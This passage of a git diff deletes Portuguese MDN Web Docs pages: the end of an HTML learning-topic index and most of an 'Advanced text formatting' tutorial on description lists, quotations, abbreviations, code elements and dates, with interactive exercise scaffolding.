-<p>Antes de iniciar este tópico, deve estar pelo menos familizado com o uso de computadores, e ser um usuário da Web (i.e. ser um usuário que acessa a Web e consuma o conteúdo).  Você deverá ter um trabalho básico de configurar um ambiente como detalhado em  <a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Installing_basic_software">Installing basic software</a>, e entender como criar e manusear arquivos, como detalhado em a <a href="/en-US/docs/Learn/Getting_started_with_the_web/Dealing_with_files">Dealing with files</a> — ambos são partes do nosso módulo completo para iniciantes <a href="/en-US/docs/Learn/Getting_started_with_the_web">Getting started with the web</a>.</p>
-
-<p>É recomendado que inicie com <a href="/pt-PT/docs/Learn/Getting_started_with_the_web">Primeiros passos na Web</a> antes de tentar este tópico, no entanto isto não é absolutamente necessário; muito do que está apresentado no artigo <a href="/pt-PT/docs/Learn/Getting_started_with_the_web/HTML_basics">HTML - Essencial</a> também está coberto no nosso módulo de <a href="/pt-PT/docs/Learn/HTML/Introduction_to_HTML">Introdução ao HTML</a> com um pouco mais de detalhe. </p>
-
-<h2 id="Módulos">Módulos</h2>
-
-<dl>
- <dt>Este tópico contém os seguintes módulos, numa ordem sugerida para trabalhar com eles. Deve-se definitivamente começar com o primeiro.</dt>
- <dt></dt>
- <dt><a href="/pt-PT/docs/Learn/HTML/Introducao_ao_HTML">Introdução ao HTML</a> </dt>
-</dl>
-
-<dl>
- <dd>Este módulo prepara o palco, levando você a usar importantes conceitos e sintaxe, procurando aplicar HTML ao texto, como criar hiperlinks e como usar HTML para estruturar uma webpage.</dd>
- <dt><a href="/pt-PT/docs/Learn/HTML/Multimedia_e_integracao">Multimédia e integração</a></dt>
- <dd>Este  módulo explora como usar HTML para incluir multimidia nas tuas páginas web, inclisive sobre as diferentes formas de fazê-lo e como imbutir videos e até outras páginas web inteiras.</dd>
- <dt><a href="/pt-PT/docs/Learn/HTML/Tables">Tabelas HTML</a></dt>
- <dd>Como apresentar dados de forma organizada na página web de compreensível pode ser um desafio. Este módulo apresenta as formas básica de organizar tabelas, permitindo organizar características complexas como implementar legendas e sumários.          {{glossary("Accessibility", "Consulte")}} </dd>
-</dl>
-
-<h2 id="Resolver_problemas_de_HTML_comuns">Resolver problemas de HTML comuns</h2>
-
-<p><a href="/en-US/docs/Learn/HTML/Howto">Use HTML to solve common problems</a> oferece links para seções com conteúdo que explanam como usar HTML para resolver os problemas mais comuns quando se cria webpage: lidando com títulos, acresentando imagens e vídeos, separando conteúdo, criando formas básicas, etc.</p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<div class="document-head" id="wiki-document-head">
-<dl>
- <dt></dt>
- <dt><a href="https://wiki.developer.mozilla.org/pt-PT/docs/Learn/HTML/Forms">Formulários da Web</a></dt>
- <dd>This module provides a series of articles that will help you master the essentials of web forms. Web forms are a very powerful tool for interacting with users — most commonly they are used for collecting data from users, or allowing them to control a user interface. However, for historical and technical reasons it's not always obvious how to use them to their full potential. We'll cover all the essential aspects of Web forms including marking up their HTML structure, styling form controls, validating form data, and submitting data to the server.</dd>
- <dt><a href="/pt-PT/docs/Web/HTML">HTML (Linguagem de Marcação de Hipertexto)</a></dt>
- <dd>The main entry point for HTML reference documentation on MDN, including detailed element and attribute references — if you want to know what attributes an element has or what values an attribute has, for example, this is a great place to start.</dd>
-</dl>
-</div>
diff --git a/files/pt-pt/learn/html/introduction_to_html/advanced_text_formatting/index.html b/files/pt-pt/learn/html/introduction_to_html/advanced_text_formatting/index.html
deleted file mode 100644
index 009c2cb6c0..0000000000
--- a/files/pt-pt/learn/html/introduction_to_html/advanced_text_formatting/index.html
+++ /dev/null
@@ -1,692 +0,0 @@
----
-title: Formatação avançada de texto
-slug: Learn/HTML/Introduction_to_HTML/Advanced_text_formatting
-tags:
- - Aprender
- - Guía
- - HTML
- - Principiante
- - Texto
- - abreviatura
- - semántica
-translation_of: Learn/HTML/Introduction_to_HTML/Advanced_text_formatting
-original_slug: Learn/HTML/Introducao_ao_HTML/Formatacao_avancada_texto
----
-<div>{{LearnSidebar}}</div>
-
-<div>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Learn/HTML/Introduction_to_HTML")}}</div>
-
-<p class="summary">There are many other elements in HTML for formatting text, which we didn't get to in the <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML text fundamentals</a> article. The elements described in this article are less known, but still useful to know about (and this is still not a complete list by any means). Here you'll learn about marking up quotations, description lists, computer code and other related text, subscript and superscript, contact information, and more.</p>
-
-<table class="learn-box standard-table">
- <tbody>
- <tr>
- <th scope="row">Prerequisites:</th>
- <td>Basic HTML familiarity, as covered in <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Getting started with HTML</a>. HTML text formatting, as covered in <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML text fundamentals</a>.</td>
- </tr>
- <tr>
- <th scope="row">Objective:</th>
- <td>To learn how to use lesser-known HTML elements to mark up advanced semantic features.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Description_lists">Description lists</h2>
-
-<p>In HTML text fundamentals, we walked through how to <a href="/en-US/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Lists">mark up basic lists</a> in HTML, but we didn't mention the third type of list you'll occasionally come across — <strong>description lists</strong>. The purpose of these lists is to mark up a set of items and their associated descriptions, such as terms and definitions, or questions and answers. Let's look at an example of a set of terms and definitions:</p>
-
-<pre>soliloquy
-In drama, where a character speaks to themselves, representing their inner thoughts or feelings and in the process relaying them to the audience (but not to other characters.)
-monologue
-In drama, where a character speaks their thoughts out loud to share them with the audience and any other characters present.
-aside
-In drama, where a character shares a comment only with the audience for humorous or dramatic effect. This is usually a feeling, thought or piece of additional background information</pre>
-
-<p>Description lists use a different wrapper than the other list types — {{htmlelement("dl")}}; in addition each term is wrapped in a {{htmlelement("dt")}} (description term) element, and each description is wrapped in a {{htmlelement("dd")}} (description definition) element. Let's finish marking up our example:</p>
-
-<pre class="brush: html">&lt;dl&gt;
- &lt;dt&gt;soliloquy&lt;/dt&gt;
- &lt;dd&gt;In drama, where a character speaks to themselves, representing their inner thoughts or feelings and in the process relaying them to the audience (but not to other characters.)&lt;/dd&gt;
- &lt;dt&gt;monologue&lt;/dt&gt;
- &lt;dd&gt;In drama, where a character speaks their thoughts out loud to share them with the audience and any other characters present.&lt;/dd&gt;
- &lt;dt&gt;aside&lt;/dt&gt;
- &lt;dd&gt;In drama, where a character shares a comment only with the audience for humorous or dramatic effect. This is usually a feeling, thought, or piece of additional background information.&lt;/dd&gt;
-&lt;/dl&gt;</pre>
-
-<p>The browser default styles will display description lists with the descriptions indented somewhat from the terms. MDN's styles follow this convention fairly closely, but also embolden the terms for extra definition.</p>
-
-<dl>
- <dt>soliloquy</dt>
- <dd>In drama, where a character speaks to themselves, representing their inner thoughts or feelings and in the process relaying them to the audience (but not to other characters.)</dd>
- <dt>monologue</dt>
- <dd>In drama, where a character speaks their thoughts out loud to share them with the audience and any other characters present.</dd>
- <dt>aside</dt>
- <dd>In drama, where a character shares a comment only with the audience for humorous or dramatic effect. This is usually a feeling, thought or piece of additional background information.</dd>
-</dl>
-
-<p>Note that it is permitted to have a single term with multiple descriptions, for example:</p>
-
-<dl>
- <dt>aside</dt>
- <dd>In drama, where a character shares a comment only with the audience for humorous or dramatic effect. This is usually a feeling, thought or piece of additional background information.</dd>
- <dd>In writing, a section of content that is related to the current topic, but doesn't fit directly into the main flow of content so is presented nearby (often in a box off to the side.)</dd>
-</dl>
-
-<h3 id="Active_learning_Marking_up_a_set_of_definitions">Active learning: Marking up a set of definitions</h3>
-
-<p>It's time to try your hand at description lists; add elements to the raw text in the <em>Input</em> field so that it appears as a description list in the <em>Output</em> field. You could try using your own terms and descriptions if you like.</p>
-
-<p>If you make a mistake, you can always reset it using the <em>Reset</em> button. If you get really stuck, press the <em>Show solution</em> button to see the answer.</p>
-
-<div class="hidden">
-<h6 id="Playable_code">Playable code</h6>
-
-<p> </p>
-
-<pre class="brush: html">&lt;h2&gt;Live output&lt;/h2&gt;
-
-&lt;div class="output" style="min-height: 50px;"&gt;
-&lt;/div&gt;
-
-&lt;h2&gt;Editable code&lt;/h2&gt;
-&lt;p class="a11y-label"&gt;Press Esc to move focus away from the code area (Tab inserts a tab character).&lt;/p&gt;
-
-&lt;textarea id="code" class="input" style="min-height: 100px; width: 95%"&gt;
-Bacon
-The glue that binds the world together.
-Eggs
-The glue that binds the cake together.
-Coffee
-The drink that gets the world running in the morning.
-A light brown color.&lt;/textarea&gt;
-
-&lt;div class="playable-buttons"&gt;
- &lt;input id="reset" type="button" value="Reset"&gt;
- &lt;input id="solution" type="button" value="Show solution"&gt;
-&lt;/div&gt;</pre>
-
-<p> </p>
-
-<pre class="brush: css">html {
- font-family: sans-serif;
-}
-
-h2 {
- font-size: 16px;
-}
-
-.a11y-label {
- margin: 0;
- text-align: right;
- font-size: 0.7rem;
- width: 98%;
-}
-
-body {
- margin: 10px;
- background: #f5f9fa;
-}</pre>
-
-<p> </p>
-
-<pre class="brush: js">var textarea = document.getElementById('code');
-var reset = document.getElementById('reset');
-var solution = document.getElementById('solution');
-var output = document.querySelector('.output');
-var code = textarea.value;
-var userEntry = textarea.value;
-
-function updateCode() {
- output.innerHTML = textarea.value;
-}
-
-reset.addEventListener('click', function() {
- textarea.value = code;
- userEntry = textarea.value;
- solutionEntry = htmlSolution;
- solution.value = 'Show solution';
- updateCode();
-});
-
-solution.addEventListener('click', function() {
- if(solution.value === 'Show solution') {
- textarea.value = solutionEntry;
- solution.value = 'Hide solution';
- } else {
- textarea.value = userEntry;
- solution.value = 'Show solution';
- }
- updateCode();
-});
-
-var htmlSolution = '&lt;dl&gt;\n &lt;dt&gt;Bacon&lt;/dt&gt;\n &lt;dd&gt;The glue that binds the world together.&lt;/dd&gt;\n &lt;dt&gt;Eggs&lt;/dt&gt;\n &lt;dd&gt;The glue that binds the cake together.&lt;/dd&gt;\n &lt;dt&gt;Coffee&lt;/dt&gt;\n &lt;dd&gt;The drink that gets the world running in the morning.&lt;/dd&gt;\n &lt;dd&gt;A light brown color.&lt;/dd&gt;\n&lt;/dl&gt;';
-var solutionEntry = htmlSolution;
-
-textarea.addEventListener('input', updateCode);
-window.addEventListener('load', updateCode);
-
-// stop tab key tabbing out of textarea and
-// make it write a tab at the caret position instead
-
-textarea.onkeydown = function(e){
- if (e.keyCode === 9) {
- e.preventDefault();
- insertAtCaret('\t');
- }
-
- if (e.keyCode === 27) {
- textarea.blur();
- }
-};
-
-function insertAtCaret(text) {
- var scrollPos = textarea.scrollTop;
- var caretPos = textarea.selectionStart;
-
- var front = (textarea.value).substring(0, caretPos);
- var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
- textarea.value = front + text + back;
- caretPos = caretPos + text.length;
- textarea.selectionStart = caretPos;
- textarea.selectionEnd = caretPos;
- textarea.focus();
- textarea.scrollTop = scrollPos;
-}
-
-// Update the saved userCode every time the user updates the text area code
-
-textarea.onkeyup = function(){
- // We only want to save the state when the user code is being shown,
- // not the solution, so that solution is not saved over the user code
- if(solution.value === 'Show solution') {
- userEntry = textarea.value;
- } else {
- solutionEntry = textarea.value;
- }
-
- updateCode();
-};</pre>
-</div>
-
-<p>{{ EmbedLiveSample('Playable_code', 700, 350, "", "", "hide-codepen-jsfiddle") }}</p>
-
-<h2 id="Quotations">Quotations</h2>
-
-<p>HTML also has features available for marking up quotations; which element you use depends on whether you are marking up a block or inline quotation.</p>
-
-<h3 id="Blockquotes">Blockquotes</h3>
-
-<p>If a section of block level content (be it a paragraph, multiple paragraphs, a list, etc.) is quoted from somewhere else, you should wrap it inside a {{htmlelement("blockquote")}} element to signify this, and include a URL pointing to the source of the quote inside a {{htmlattrxref("cite","blockquote")}} attribute. For example, the following markup is taken from the MDN <code>&lt;blockquote&gt;</code> element page:</p>
-
-<pre class="brush: html">&lt;p&gt;The &lt;strong&gt;HTML &lt;code&gt;&amp;lt;blockquote&amp;gt;&lt;/code&gt; Element&lt;/strong&gt; (or &lt;em&gt;HTML Block
-Quotation Element&lt;/em&gt;) indicates that the enclosed text is an extended quotation.&lt;/p&gt;</pre>
-
-<p>To turn this into a block quote, we would just do this:</p>
-
-<pre class="brush: html">&lt;blockquote cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/blockquote"&gt;
- &lt;p&gt;The &lt;strong&gt;HTML &lt;code&gt;&amp;lt;blockquote&amp;gt;&lt;/code&gt; Element&lt;/strong&gt; (or &lt;em&gt;HTML Block
- Quotation Element&lt;/em&gt;) indicates that the enclosed text is an extended quotation.&lt;/p&gt;
-&lt;/blockquote&gt;</pre>
-
-<p>Browser default styling will render this as an indented paragraph, as an indicator that it is a quote; MDN does this, but also adds some extra styling:</p>
-
-<blockquote cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/blockquote">
-<p>The <strong>HTML <code>&lt;blockquote&gt;</code> Element</strong> (or <em>HTML Block Quotation Element</em>) indicates that the enclosed text is an extended quotation.</p>
-</blockquote>
-
-<h3 id="Inline_quotations">Inline quotations</h3>
-
-<p>Inline quotations work in exactly the same way, except that they use the {{htmlelement("q")}} element. For example, the below bit of markup contains a quotation from the MDN <code>&lt;q&gt;</code> page:</p>
-
-<pre class="brush: html">&lt;p&gt;The quote element — &lt;code&gt;&amp;lt;q&amp;gt;&lt;/code&gt; — is &lt;q cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/q"&gt;intended
-for short quotations that don't require paragraph breaks.&lt;/q&gt;&lt;/p&gt;</pre>
-
-<p>Browser default styling will render this as normal text put in quotes to indicate a quotation, like so:</p>
-
-<p>The quote element — <code>&lt;q&gt;</code> — is <q cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/q">intended for short quotations that don't require paragraph breaks.</q></p>
-
-<h3 id="Citations">Citations</h3>
-
-<p>The content of the {{htmlattrxref("cite","blockquote")}} attribute sounds useful, but unfortunately browsers, screenreaders, etc. don't really do much with it. There is no way to get the browser to display the contents of <code>cite</code>, without writing your own solution using JavaScript or CSS. If you want to make the source of the quotation available on the page you need to make it available in the text via a link or some other appropriate way.</p>
-
-<p>There is a {{htmlelement("cite")}} element, but this is meant to contain the title of the resource being quoted, e.g. the name of the book. There is no reason however why you couldn't link the text inside <code>&lt;cite&gt;</code> to the quote source in some way:</p>
-
-<pre class="brush: html">&lt;p&gt;According to the &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/blockquote"&gt;
-&lt;cite&gt;MDN blockquote page&lt;/cite&gt;&lt;/a&gt;:
-&lt;/p&gt;
-
-&lt;blockquote cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/blockquote"&gt;
- &lt;p&gt;The &lt;strong&gt;HTML &lt;code&gt;&amp;lt;blockquote&amp;gt;&lt;/code&gt; Element&lt;/strong&gt; (or &lt;em&gt;HTML Block
- Quotation Element&lt;/em&gt;) indicates that the enclosed text is an extended quotation.&lt;/p&gt;
-&lt;/blockquote&gt;
-
-&lt;p&gt;The quote element — &lt;code&gt;&amp;lt;q&amp;gt;&lt;/code&gt; — is &lt;q cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/q"&gt;intended
-for short quotations that don't require paragraph breaks.&lt;/q&gt; -- &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/q"&gt;
-&lt;cite&gt;MDN q page&lt;/cite&gt;&lt;/a&gt;.&lt;/p&gt;</pre>
-
-<p>Citations are styled in italic font by default. You can see this code at work in our <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/advanced-text-formatting/quotations.html">quotations.html</a> example.</p>
-
-<h3 id="Active_learning_Who_said_that">Active learning: Who said that?</h3>
-
-<p>Time for another active learning example! In this example we'd like you to:</p>
-
-<ol>
- <li>Turn the middle paragraph into a blockquote, which includes a <code>cite</code> attribute.</li>
- <li>Turn part of the third paragraph into an inline quote, which includes a <code>cite</code> attribute.</li>
- <li>Include a <code>&lt;cite&gt;</code> element for each link to say what the title of the quoted source is.</li>
-</ol>
-
-<p>The citation sources you need are:</p>
-
-<ul>
- <li>http://www.brainyquote.com/quotes/authors/c/confucius.html for the Confucius quote</li>
- <li>http://www.affirmationsforpositivethinking.com/index.htm for "The Need To Eliminate Negative Self Talk".</li>
-</ul>
-
-<p>If you make a mistake, you can always reset it using the <em>Reset</em> button. If you get really stuck, press the <em>Show solution</em> button to see the answer.</p>
-
-<div class="hidden">
-<h6 id="Playable_code_2">Playable code 2</h6>
-
-<pre class="brush: html">&lt;h2&gt;Live output&lt;/h2&gt;
-
-&lt;div class="output" style="min-height: 50px;"&gt;
-&lt;/div&gt;
-
-&lt;h2&gt;Editable code&lt;/h2&gt;
-&lt;p class="a11y-label"&gt;Press Esc to move focus away from the code area (Tab inserts a tab character).&lt;/p&gt;
-
-&lt;textarea id="code" class="input" style="min-height: 150px; width: 95%"&gt;
-&lt;p&gt;Hello and welcome to my motivation page. As Confucius' quotes site says:&lt;/p&gt;
-&lt;p&gt;It does not matter how slowly you go as long as you do not stop.&lt;/p&gt;
-&lt;p&gt;I also love the concept of positive thinking, and The Need To Eliminate Negative Self Talk (as mentioned in Affirmations for Positive Thinking.)&lt;/p&gt;
-&lt;/textarea&gt;
-
-&lt;div class="playable-buttons"&gt;
- &lt;input id="reset" type="button" value="Reset"&gt;
- &lt;input id="solution" type="button" value="Show solution"&gt;
-&lt;/div&gt;</pre>
-
-<pre class="brush: css">html {
- font-family: sans-serif;
-}
-
-h2 {
- font-size: 16px;
-}
-
-.a11y-label {
- margin: 0;
- text-align: right;
- font-size: 0.7rem;
- width: 98%;
-}
-
-body {
- margin: 10px;
- background: #f5f9fa;
-}</pre>
-
-<pre class="brush: js">var textarea = document.getElementById('code');
-var reset = document.getElementById('reset');
-var solution = document.getElementById('solution');
-var output = document.querySelector('.output');
-var code = textarea.value;
-var userEntry = textarea.value;
-
-function updateCode() {
- output.innerHTML = textarea.value;
-}
-
-reset.addEventListener('click', function() {
- textarea.value = code;
- userEntry = textarea.value;
- solutionEntry = htmlSolution;
- solution.value = 'Show solution';
- updateCode();
-});
-
-solution.addEventListener('click', function() {
- if(solution.value === 'Show solution') {
- textarea.value = solutionEntry;
- solution.value = 'Hide solution';
- } else {
- textarea.value = userEntry;
- solution.value = 'Show solution';
- }
- updateCode();
-});
-
-var htmlSolution = '&lt;p&gt;Hello and welcome to my motivation page. As &lt;a href="http://www.brainyquote.com/quotes/authors/c/confucius.html"&gt;&lt;cite&gt;Confucius\' quotes site&lt;/cite&gt;&lt;/a&gt; says:&lt;/p&gt;\n\n&lt;blockquote cite="http://www.brainyquote.com/quotes/authors/c/confucius.html"&gt;\n &lt;p&gt;It does not matter how slowly you go as long as you do not stop.&lt;/p&gt;\n&lt;/blockquote&gt;\n\n&lt;p&gt;I also love the concept of positive thinking, and &lt;q cite="http://www.affirmationsforpositivethinking.com/index.htm"&gt;The Need To Eliminate Negative Self Talk&lt;/q&gt; (as mentioned in &lt;a href="http://www.affirmationsforpositivethinking.com/index.htm"&gt;&lt;cite&gt;Affirmations for Positive Thinking&lt;/cite&gt;&lt;/a&gt;.)&lt;/p&gt;';
-var solutionEntry = htmlSolution;
-
-textarea.addEventListener('input', updateCode);
-window.addEventListener('load', updateCode);
-
-// stop tab key tabbing out of textarea and
-// make it write a tab at the caret position instead
-
-textarea.onkeydown = function(e){
- if (e.keyCode === 9) {
- e.preventDefault();
- insertAtCaret('\t');
- }
-
- if (e.keyCode === 27) {
- textarea.blur();
- }
-};
-
-function insertAtCaret(text) {
- var scrollPos = textarea.scrollTop;
- var caretPos = textarea.selectionStart;
-
- var front = (textarea.value).substring(0, caretPos);
- var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
- textarea.value = front + text + back;
- caretPos = caretPos + text.length;
- textarea.selectionStart = caretPos;
- textarea.selectionEnd = caretPos;
- textarea.focus();
- textarea.scrollTop = scrollPos;
-}
-
-// Update the saved userCode every time the user updates the text area code
-
-textarea.onkeyup = function(){
- // We only want to save the state when the user code is being shown,
- // not the solution, so that solution is not saved over the user code
- if(solution.value === 'Show solution') {
- userEntry = textarea.value;
- } else {
- solutionEntry = textarea.value;
- }
-
- updateCode();
-};</pre>
-</div>
-
-<p>{{ EmbedLiveSample('Playable_code_2', 700, 450, "", "", "hide-codepen-jsfiddle") }}</p>
-
-<h2 id="Abbreviations">Abbreviations</h2>
-
-<p>Another fairly common element you'll meet when looking around the Web is {{htmlelement("abbr")}} — this is used to wrap around an abbreviation or acronym, and provide a full expansion of the term (included inside a {{htmlattrxref("title")}} attribute.) Let's look at a couple of examples:</p>
-
-<pre>&lt;p&gt;We use &lt;abbr title="Hypertext Markup Language"&gt;HTML&lt;/abbr&gt; to structure our web documents.&lt;/p&gt;
-
-&lt;p&gt;I think &lt;abbr title="Reverend"&gt;Rev.&lt;/abbr&gt; Green did it in the kitchen with the chainsaw.&lt;/p&gt;</pre>
-
-<p>These will come out looking something like this (the expansion will appear in a tooltip when the term is hovered over):</p>
-
-<p>We use <abbr title="Hypertext Markup Language">HTML</abbr> to structure our web documents.</p>
-
-<p>I think <abbr title="Reverend">Rev.</abbr> Green did it in the kitchen with the chainsaw.</p>
-
-<div class="note">
-<p><strong>Note</strong>: There is another element, {{htmlelement("acronym")}}, which basically does the same thing as <code>&lt;abbr&gt;</code>, and was intended specifically for acronyms rather than abbreviations. This however has fallen into disuse — it wasn't supported in browsers as well as <code>&lt;abbr&gt;</code>, and has such a similar function that it was considered pointless to have both. Just use <code>&lt;abbr&gt;</code> instead.</p>
-</div>
-
-<h3 id="Active_learning_marking_up_an_abbreviation">Active learning: marking up an abbreviation</h3>
-
-<p>For this simple active learning assignment, we'd like you to simply mark up an abbreviation. You can use our sample below, or replace it with one of your own. </p>
-
-<div class="hidden">
-<h6 id="Playable_code_3">Playable code</h6>
-
-<p> </p>
-
-<pre class="brush: html">&lt;h2&gt;Live output&lt;/h2&gt;
-
-&lt;div class="output" style="min-height: 50px;"&gt;
-&lt;/div&gt;
-
-&lt;h2&gt;Editable code&lt;/h2&gt;
-&lt;p class="a11y-label"&gt;Press Esc to move focus away from the code area (Tab inserts a tab character).&lt;/p&gt;
-
-&lt;textarea id="code" class="input" style="min-height: 50px; width: 95%"&gt;
-&lt;p&gt;NASA sure does some exciting work.&lt;/p&gt;
-&lt;/textarea&gt;
-
-&lt;div class="playable-buttons"&gt;
- &lt;input id="reset" type="button" value="Reset"&gt;
- &lt;input id="solution" type="button" value="Show solution"&gt;
-&lt;/div&gt;</pre>
-
-<p> </p>
-
-<pre class="brush: css">html {
- font-family: sans-serif;
-}
-
-h2 {
- font-size: 16px;
-}
-
-.a11y-label {
- margin: 0;
- text-align: right;
- font-size: 0.7rem;
- width: 98%;
-}
-
-body {
- margin: 10px;
- background: #f5f9fa;
-}</pre>
-
-<p> </p>
-
-<pre class="brush: js">var textarea = document.getElementById('code');
-var reset = document.getElementById('reset');
-var solution = document.getElementById('solution');
-var output = document.querySelector('.output');
-var code = textarea.value;
-var userEntry = textarea.value;
-
-function updateCode() {
- output.innerHTML = textarea.value;
-}
-
-reset.addEventListener('click', function() {
- textarea.value = code;
- userEntry = textarea.value;
- solutionEntry = htmlSolution;
- solution.value = 'Show solution';
- updateCode();
-});
-
-solution.addEventListener('click', function() {
- if(solution.value === 'Show solution') {
- textarea.value = solutionEntry;
- solution.value = 'Hide solution';
- } else {
- textarea.value = userEntry;
- solution.value = 'Show solution';
- }
- updateCode();
-});
-
-var htmlSolution = '&lt;p&gt;&lt;abbr title="National Aeronautics and Space Administration"&gt;NASA&lt;/abbr&gt; sure does some exciting work.&lt;/p&gt;';
-var solutionEntry = htmlSolution;
-
-textarea.addEventListener('input', updateCode);
-window.addEventListener('load', updateCode);
-
-// stop tab key tabbing out of textarea and
-// make it write a tab at the caret position instead
-
-textarea.onkeydown = function(e){
- if (e.keyCode === 9) {
- e.preventDefault();
- insertAtCaret('\t');
- }
-
- if (e.keyCode === 27) {
- textarea.blur();
- }
-};
-
-function insertAtCaret(text) {
- var scrollPos = textarea.scrollTop;
- var caretPos = textarea.selectionStart;
-
- var front = (textarea.value).substring(0, caretPos);
- var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
- textarea.value = front + text + back;
- caretPos = caretPos + text.length;
- textarea.selectionStart = caretPos;
- textarea.selectionEnd = caretPos;
- textarea.focus();
- textarea.scrollTop = scrollPos;
-}
-
-// Update the saved userCode every time the user updates the text area code
-
-textarea.onkeyup = function(){
- // We only want to save the state when the user code is being shown,
- // not the solution, so that solution is not saved over the user code
- if(solution.value === 'Show solution') {
- userEntry = textarea.value;
- } else {
- solutionEntry = textarea.value;
- }
-
- updateCode();
-};</pre>
-
-<p> </p>
-
-<p> </p>
-</div>
-
-<p>{{ EmbedLiveSample('Playable_code_3', 700, 300, "", "", "hide-codepen-jsfiddle") }}</p>
-
-<h2 id="Marking_up_contact_details">Marking up contact details</h2>
-
-<p>HTML has an element for marking up contact details — {{htmlelement("address")}}. This simply wraps around your contact details, for example:</p>
-
-<pre class="brush: html">&lt;address&gt;
- &lt;p&gt;Chris Mills, Manchester, The Grim North, UK&lt;/p&gt;
-&lt;/address&gt;</pre>
-
-<p>One thing to remember however is that the {{htmlelement("address")}} element is meant for marking up the contact details of the person who wrote the HTML document, not <em>any</em> address. So the above would only be ok if Chris had written the document the markup appears on. Note that something like this would also be ok:</p>
-
-<pre class="brush: html">&lt;address&gt;
- &lt;p&gt;Page written by &lt;a href="../authors/chris-mills/"&gt;Chris Mills&lt;/a&gt;.&lt;/p&gt;
-&lt;/address&gt;</pre>
-
-<h2 id="Superscript_and_subscript">Superscript and subscript</h2>
-
-<p>You will occasionally need to use superscript and subscript when marking up items like dates, chemical formulae, and mathematical equations so they have the correct meaning. The {{htmlelement("sup")}} and {{htmlelement("sub")}} elements handle this job. For example:</p>
-
-<pre class="brush: html">&lt;p&gt;My birthday is on the 25&lt;sup&gt;th&lt;/sup&gt; of May 2001.&lt;/p&gt;
-&lt;p&gt;Caffeine's chemical formula is C&lt;sub&gt;8&lt;/sub&gt;H&lt;sub&gt;10&lt;/sub&gt;N&lt;sub&gt;4&lt;/sub&gt;O&lt;sub&gt;2&lt;/sub&gt;.&lt;/p&gt;
-&lt;p&gt;If x&lt;sup&gt;2&lt;/sup&gt; is 9, x must equal 3 or -3.&lt;/p&gt;</pre>
-
-<p>The output of this code looks like so:</p>
-
-<p>My birthday is on the 25<sup>th</sup> of May 2001.</p>
-
-<p>Caffeine's chemical formula is C<sub>8</sub>H<sub>10</sub>N<sub>4</sub>O<sub>2</sub>.</p>
-
-<p>If x<sup>2</sup> is 9, x must equal 3 or -3.</p>
-
-<h2 id="Representing_computer_code">Representing computer code</h2>
-
-<p>There are a number of elements available for marking up computer code using HTML:</p>
-
-<ul>
- <li>{{htmlelement("code")}}: For marking up generic pieces of computer code.</li>
- <li>{{htmlelement("pre")}}: For retaining whitespace (generally code blocks) — if you use indentation or excess whitespace inside your text, browsers will ignore it and you will not see it on your rendered page. If you wrap the text in <code>&lt;pre&gt;&lt;/pre&gt;</code> tags however, your whitespace will be rendered identically to how you see it in your text editor.</li>
- <li>{{htmlelement("var")}}: For specifically marking up variable names.</li>
- <li>{{htmlelement("kbd")}}: For marking up keyboard (and other types of) input entered into the computer.</li>
- <li>{{htmlelement("samp")}}: For marking up the output of a computer program.</li>
-</ul>
-
-<p>Let's look at a few examples. You should try having a play with these (try grabbing a copy of our <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/advanced-text-formatting/other-semantics.html">other-semantics.html</a> sample file):</p>
-
-<pre class="brush: html">&lt;pre&gt;&lt;code&gt;var para = document.querySelector('p');
-
-para.onclick = function() {
- alert('Owww, stop poking me!');
-}&lt;/code&gt;&lt;/pre&gt;
-
-&lt;p&gt;You shouldn't use presentational elements like &lt;code&gt;&amp;lt;font&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;center&amp;gt;&lt;/code&gt;.&lt;/p&gt;
-
-&lt;p&gt;In the above JavaScript example, &lt;var&gt;para&lt;/var&gt; represents a paragraph element.&lt;/p&gt;
-
-
-&lt;p&gt;Select all the text with &lt;kbd&gt;Ctrl&lt;/kbd&gt;/&lt;kbd&gt;Cmd&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt;.&lt;/p&gt;
-
-&lt;pre&gt;$ &lt;kbd&gt;ping mozilla.org&lt;/kbd&gt;
-&lt;samp&gt;PING mozilla.org (63.245.215.20): 56 data bytes
-64 bytes from 63.245.215.20: icmp_seq=0 ttl=40 time=158.233 ms&lt;/samp&gt;&lt;/pre&gt;</pre>
-
-<p>The above code will look like so:</p>
-
-<p>{{ EmbedLiveSample('Representing_computer_code','100%',300, "", "", "hide-codepen-jsfiddle") }}</p>
-
-<h2 id="Marking_up_times_and_dates">Marking up times and dates</h2>
-
-<p>HTML also provides the {{htmlelement("time")}} element for marking up times and dates in a machine-readable format. For example:</p>
-
-<pre class="brush: html">&lt;<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>2016-01-20<span class="pl-pds">"</span></span>&gt;20 January 2016&lt;/<span class="pl-ent">time</span>&gt;</pre>
-
-<p>Why is this useful? Well, there are many different ways that humans write down dates. The above date could be written as:</p>
-
-<ul>
- <li>20 January 2016</li>
- <li>20th January 2016</li>
- <li>Jan 20 2016</li>
- <li>20/01/16</li>
- <li>01/20/16</li>
- <li>The 20th of next month</li>
- <li><span lang="fr">20e Janvier 2016</span></li>
- <li><span lang="ja">2016年1月20日</span></li>
- <li>And so on</li>
-</ul>
-
